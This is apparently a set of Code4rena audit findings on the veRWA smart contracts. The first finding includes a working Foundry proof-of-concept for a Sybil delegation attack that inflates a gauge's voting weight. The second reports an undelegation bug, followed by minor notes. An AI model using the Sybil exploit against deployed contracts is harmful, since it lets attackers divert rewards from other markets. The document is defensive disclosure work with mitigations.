veRWA - QiuhaoLi's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211

Vulnerability details

Impact

Attackers can maliciously increase a specific market's weight by delegating/undelegating power to multiple accounts (Sybil) and calling vote_for_gauge_weights(), making it get more rewards and other markets loss rewards.

Proof of Concept

In vote_for_gauge_weights(), we use the user's last voting power point to calculate slope, points_weight, points_sum, etc. So attackers can keep delegating/undelegating their power to different accounts (Sybil), and when a sybil receives delegated power, it votes for a market.

Below is a PoC where userA is the attacker and it wants to increase gauge1's relative weight. At first, UserA has 2 ether CANTO locked, and UserD has 4 ether CANTO. UserD will vote for gauge2 so in normal case, guage2 will get the most weight. However, by leveraging the sybil (userB and userC) attack, userA makes gauge2's relative weight below 50%.

// src/test/GaugeController.t.sol

    // stack too deep
    address internal userA;
    address internal userB;
    address internal userC;
    address internal userD;
    function testGaugeDelegatingSybilAttack() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.add_gauge(gauge2);
        vm.stopPrank();
        skip(WEEK + 1);

        address payable[] memory usersZ = utils.createUsers(4);
        (userA, userB, userC, userD) = (usersZ[0], usersZ[1], usersZ[2], usersZ[3]);

        // A: 2, D: 4
        vm.prank(userA);
        ve.createLock{value: 2 ether}(2 ether);
        vm.prank(userD);
        ve.createLock{value: 4 ether}(4 ether);

        vm.prank(userA);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.prank(userD);
        gc.vote_for_gauge_weights(gauge2, 10000);

        // --- Sybil Attack: userA delegates to userB and userC, then vote for gauge1
        vm.prank(userB);
        ve.createLock{value: 0.001 ether}(0.001 ether);
        vm.prank(userC);
        ve.createLock{value: 0.001 ether}(0.001 ether);

        vm.prank(userA);
        ve.delegate(userB);
        vm.prank(userB);
        gc.vote_for_gauge_weights(gauge1, 10000);

        vm.prank(userA);
        ve.delegate(userC);
        vm.prank(userC);
        gc.vote_for_gauge_weights(gauge1, 10000);
        // --- Attacke End

        vm.warp(block.timestamp + WEEK);
        uint256 gauge2_relative_weight = gc.gauge_relative_weight_write(gauge2, block.timestamp) * 100 / 1e18;
        assert(gauge2_relative_weight < 50); // < 50%, attack success
        console.log("gauge2_relative_weight = %s", gauge2_relative_weight); // 39% = 4/(4+2*3)
    }

Output:

qiuhao@HW0018292:~/web3/c4/2023-08-verwa$ forge test -vvv --match-test "testGaugeDelegatingSybilAttack"
[⠒] Compiling...
[⠢] Compiling 1 files with 0.8.17
[⠆] Solc 0.8.17 finished in 13.04s
Compiler run successful!

Running 1 test for src/test/GaugeController.t.sol:GaugeControllerTest
[PASS] testGaugeDelegatingSybilAttack() (gas: 2614086)
Logs:
  gauge2_relative_weight = 39

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.84ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review.

Recommended Mitigation Steps

1. Only allow whitelist voters to vote weight.
2. Using snapshot for user's voting power.

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L373 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L384

Vulnerability details

Impact

User can't undelegate if delegatee.end > user.end, which is the normal case.

Proof of Concept

In delegate() we ensure toLocked.end >= fromLocked.end so users won't delegate to a lock which will expire before the user's lock. However, when undelegating, fromLocked becomes the delegatee, so toLocked.end >= fromLocked.end check won't pass.

In VotingEscrow.t.sol:testSuccessUnDelegate, we make user1 and user2 locks' end time the same, thus missing the case mentioned above. PoC:

    function testSuccessDelegate() public {
        // successful delegate
        testSuccessCreateLock();
        vm.warp(block.timestamp + WEEK + 1); // <---- delegatee end is bigger
        vm.prank(user2);
        ve.createLock{value: LOCK_AMT}(LOCK_AMT);
        vm.prank(user1);
        ve.delegate(user2);
        (, , , address delegatee) = ve.locked(user1);
        assertEq(delegatee, user2);
        (, , int128 delegated, ) = ve.locked(user2);
        assertEq(delegated, 2000000000000000000);
    }

Output (testSuccessUnDelegate can't pass now):

qiuhao@HW0018292:~/web3/c4/2023-08-verwa$ forge test --match-test "testSuccessDelegate"
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testSuccessDelegate() (gas: 907149)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.95ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)


qiuhao@HW0018292:~/web3/c4/2023-08-verwa$ forge test --match-test "testSuccessUnDelegate"
[⠒] Compiling...
No files changed, compilation skipped

    ├─ [5698] VotingEscrow::delegate(0x0000000000000000000000000000000000002711) 
    │   └─ ← "Only delegate to longer lock"
    └─ ← "Only delegate to longer lock"

Tools Used

Manual Review.

Recommended Mitigation Steps

Undelegating should be handled separately, allowing users to undelegate without the lock.end check.

Assessed type

Governance

[low] LOCKTIME should be 1826 days considering the leap year

Since there is a leap year every four years, the five years lock time should be 1826 days. In some cases, this can lead to different _floorToWeek() calculated locking time.

[non-critical] should log vote event in vote_for_gauge_weights()

src/GaugeController.sol is ported from Curve's GaugeController.vy, which log the vote event in the vote_for_gauge_weights() but we don't don't do it.